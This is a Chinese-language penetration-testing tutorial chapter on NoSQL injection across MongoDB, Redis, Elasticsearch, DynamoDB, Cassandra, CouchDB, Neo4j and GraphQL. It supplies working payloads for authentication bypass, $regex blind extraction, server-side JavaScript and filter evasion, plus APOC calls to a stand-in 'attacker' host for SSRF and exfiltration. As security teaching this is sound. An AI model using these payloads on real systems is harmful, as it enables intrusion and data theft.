第 5 章 · 02 NoSQL 注入 本节摘要:NoSQL 注入利用的是「应用把用户输入传给数据库查询」与「数据库引擎如何解释这些输入」之间的错位。与 SQL 注入「打断语法」不同,NoSQL 注入频繁使用操作符注入(MongoDB 的 、 、 )或结构注入(嵌入 JSON 子文档)。攻击面很广:MongoDB 是首要目标,但 Redis、Elasticsearch、DynamoDB、Cassandra、CouchDB、Neo4j 各有不同的注入面;GraphQL 解析器把变量直接透传到后端 NoSQL 过滤器,是常见的跨层向量。本节讲透这些攻击面、四类检测通道、各存储引擎的差异、绕过技巧与验证方法。 内容来源:原项目知识包 ,汉化并套用体系化模板。
本节摘要:NoSQL 注入利用的是「应用把用户输入传给数据库查询」与「数据库引擎如何解释这些输入」之间的错位。与 SQL 注入「打断语法」不同,NoSQL 注入频繁使用操作符注入(MongoDB 的
$gt、$regex、$where)或结构注入(嵌入 JSON 子文档)。攻击面很广:MongoDB 是首要目标,但 Redis、Elasticsearch、DynamoDB、Cassandra、CouchDB、Neo4j 各有不同的注入面;GraphQL 解析器把变量直接透传到后端 NoSQL 过滤器,是常见的跨层向量。本节讲透这些攻击面、四类检测通道、各存储引擎的差异、绕过技巧与验证方法。
内容来源:原项目知识包
strix/skills/vulnerabilities/nosql_injection.md,汉化并套用体系化模板。
⚠️ 仅限授权测试:本节所有 payload 与技术仅用于你自己的应用或有书面授权的渗透测试。未经授权对他人系统使用这些技术是非法的。
阅读完本节,你应当能够:
$ne、$gt、$regex、$where、$function)及其利用方式。到达查询过滤器的输入形态:
field[$ne]=,被 Express、PHP 等中间件强制转换成操作符对象导致注入的代码模式:
find/findOne/aggregate{strict: false}、Morphia 的原始 where()、PyMongo 用未净化的 JSON 字典调用 find()(旧版 eval() 是致命的)$where、$function、$accumulator、CouchDB 的 _design 视图纳入范围的存储引擎:MongoDB(首要)、Redis、Elasticsearch、DynamoDB、Cassandra、CouchDB、Neo4j。Couchbase、DocumentDB、HBase、ScyllaDB、Memcached 遵循同样的操作符注入或命令走私模型——尤其 DocumentDB 原样接受 MongoDB 的 payload。
高价值目标:
💡 核心心法:只要用户输入能以对象/字典的形态到达 NoSQL 查询接口,操作符注入就可能成立。后端是否「把 JSON 子文档当操作符解释」是判断的关键。
{"username": {"$gt": ""}},观察是否返回 MongoError、CastError、ValidationErrorusername[$gt]=测试操作符是否能透传到数据库:
{"username": {"$gt": ""}, "password": {"$gt": ""}}
如果认证成功或响应发生可观测变化,操作符注入确认。
依赖 $where 中的 sleep()(旧版 MongoDB)。注意 sleep() 返回 undefined(假值),不会返回文档,只能作为时间神谕观察延迟:
{"$where": "function(){return this.username == 'admin' && sleep(2000)}"}
NoSQL 原生带外原语较少,但 Neo4j 的 APOC apoc.load.json('http://attacker/x') 可做 SSRF 与外带;Elasticsearch 的 Painless 脚本若可外发请求也能带外。
针对形如 db.users.findOne({username: input.username, password: input.password}) 的经典登录查询:
JSON body 注入:
{"username": {"$ne": null}, "password": {"$ne": null}}
匹配第一个两个字段都非空的文档——通常是第一个用户/管理员。
表单 body(括号表示法):
username[$ne]=invalid&password[$ne]=invalid
变体:
{"username": "admin", "password": {"$gt": ""}} {"username": {"$regex": ".*"}, "password": {"$gt": ""}} {"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$gt": ""}}
$regex 盲取数据当查询结果不直接回显但可观测(布尔响应、重定向、时延),用 $regex 逐字符提取字段值:
{"username": "admin", "password": {"$regex": "^a"}} {"username": "admin", "password": {"$regex": "^b"}}
对字符空间做二分搜索以减少请求数。适用于任何字符串字段(token、重置码、API key)。
$where JavaScript 注入若 $where 操作符启用(MongoDB 7.0+ 默认禁用;4.4~6.x 已弃用但 javascriptEnabled 仍默认 true),可注入任意服务端 JavaScript:
{"$where": "function(){return this.role == 'admin'}"}
$function 与 $accumulator(MongoDB 4.4+)聚合中的服务端 JavaScript。$function 必须处于表达式上下文($expr、$project、$addFields),不能作为顶层过滤器:
{"$expr": {"$function": {"body": "function(doc){return doc.role == 'admin'}", "args": ["$$ROOT"], "lang": "js"}}}
与 $where 受同一个 javascriptEnabled 参数控制,但可通过聚合端点触达——在 $where 被查询层过滤但聚合管道仍受用户影响时很有用。
$match、$lookup、$project 阶段接受与 find() 相同的操作符 payload。用户可控的 $lookup.from 是影响最大的变体——它能把查询转向另一个集合(如从 orders 转到 users),外带跨租户数据。
当 Redis 命令由字符串拼接构造时:
redis.execute_command(f"SET {user_key} {value}")
注入换行符(\r\n)可注入额外的 Redis 命令(RESP 协议注入):
key\r\nSET backdoor attacker_controlled\r\nSET dummy
query_string 与 simple_query_string 接受 Lucene 语法。用户输入直达时:
q=normal+search → 正常结果 q=* → 全部文档 q=role:admin → 按字段过滤 q=_exists_:password_hash → 存在性探测
通过 _update 的 Painless 脚本注入:若 source 字段用户可控,可注入任意 Painless。
PartiQL 注入可扩展预期查询:
-- 预期: SELECT * FROM Users WHERE username = 'input' -- 注入: SELECT * FROM Users WHERE username = 'x' OR '1'='1'
CQL 形似 SQL,当输入被拼接而非通过 session.prepare() 绑定时,注入遵循 SQL 模式:
username: ' OR '1'='1' ALLOW FILTERING -- username: 'x' OR token(username) > token('a') ALLOW FILTERING --
CQL 原生没有 SLEEP 或带外原语——检测只能基于布尔/报错。
_find 上的 Mango 选择器接受与 MongoDB 同形的操作符 payload:
POST /db/_find { "selector": {"username": "admin", "password": {"$gt": ""}} }
_design 文档注入——若用户输入流进设计文档的 views.<name>.map,这段 JavaScript 会在每次视图查询时于 Couch 沙箱中服务端执行。
当用户输入被拼接进 Cypher 而非作为参数($param)传入:
# 漏洞代码 session.run(f"MATCH (u:User {{name: '{name}'}}) RETURN u") # 注入:name = x'}) RETURN u UNION MATCH (u:User) RETURN u //
APOC 滥用(当 apoc.* 过程通过 dbms.security.procedures.unrestricted 启用时):
CALL apoc.load.json('http://attacker/x') —— SSRF 与外部数据获取CALL apoc.cypher.run("...", {}) —— 从字符串动态执行查询CALL dbms.security.listUsers() —— 在配置错误的社区版上枚举用户把变量直接透传到后端 NoSQL 过滤器的解析器是常见的链式向量:
query Login($input: UserFilter!) { user(filter: $input) { id role } }
当 $input 到达 db.users.findOne(input) 时,发送:
{"input": {"username": "admin", "password": {"$ne": ""}}}
用内省(__schema、__type)枚举哪些输入类型接受任意对象——它们就是操作符注入的候选。
类型强制:
{"$gt": [""]}——某些驱动会把数组强制转换编码:
username%5B%24ne%5D=x → username[$ne]=x操作符替代:
$nin(不在)、$exists: false、$type——当 $ne 被过滤时,用这些替代操作符达到同样结果$not 包裹另一个操作符:{"field": {"$not": {"$eq": "value"}}}$expr 配合 $ne 做复杂比较:{"$expr": {"$ne": ["$password", "wrong"]}}结构操纵:
{"a.b": "c"} vs {"a": {"b": "c"}}——净化器常剥掉一种形式却放过另一种["$or", ...] 当作操作符数组__proto__ 与 constructor.prototype 键,污染下游查询构建器消费的对象原型$regex 的大小写不敏感标志("$options": "i")扩大匹配范围,捕获大小写敏感过滤器漏掉的内容💡 绕过的本质:净化器往往只识别一种「操作符形态」(点号键名或嵌套对象二选一),换一种等价表示就能绕过。
确认一个 NoSQL 注入真实存在的稳妥步骤:
$regex 盲提取密码哈希、重置令牌、API key。$where 时间差:对 $where,展示有/无 sleep() 的时间差。常见误报:
strict 模式开启)password 字段强制转为字符串——操作符对象变成 [object Object]$ne/$regex/$gt 过滤器$where 在未打补丁的 MongoDB 实例上⚠️ NoSQL 注入的影响与 SQL 注入等量齐观——操作符注入达到的效果(认证绕过、数据全量提取、提权)与 SQL 注入一致,绝不能因为「NoSQL」而轻视。
$ne/$gt(认证绕过)、$regex(盲取)、$where/$function(JS 执行)、$lookup.from(跨集合外带)。_design)、Neo4j(Cypher 拼接 + APOC)。下一节,我们看 SSTI(服务端模板注入)——当用户输入作为语法而非数据进入模板引擎,最终几乎总是导向 RCE。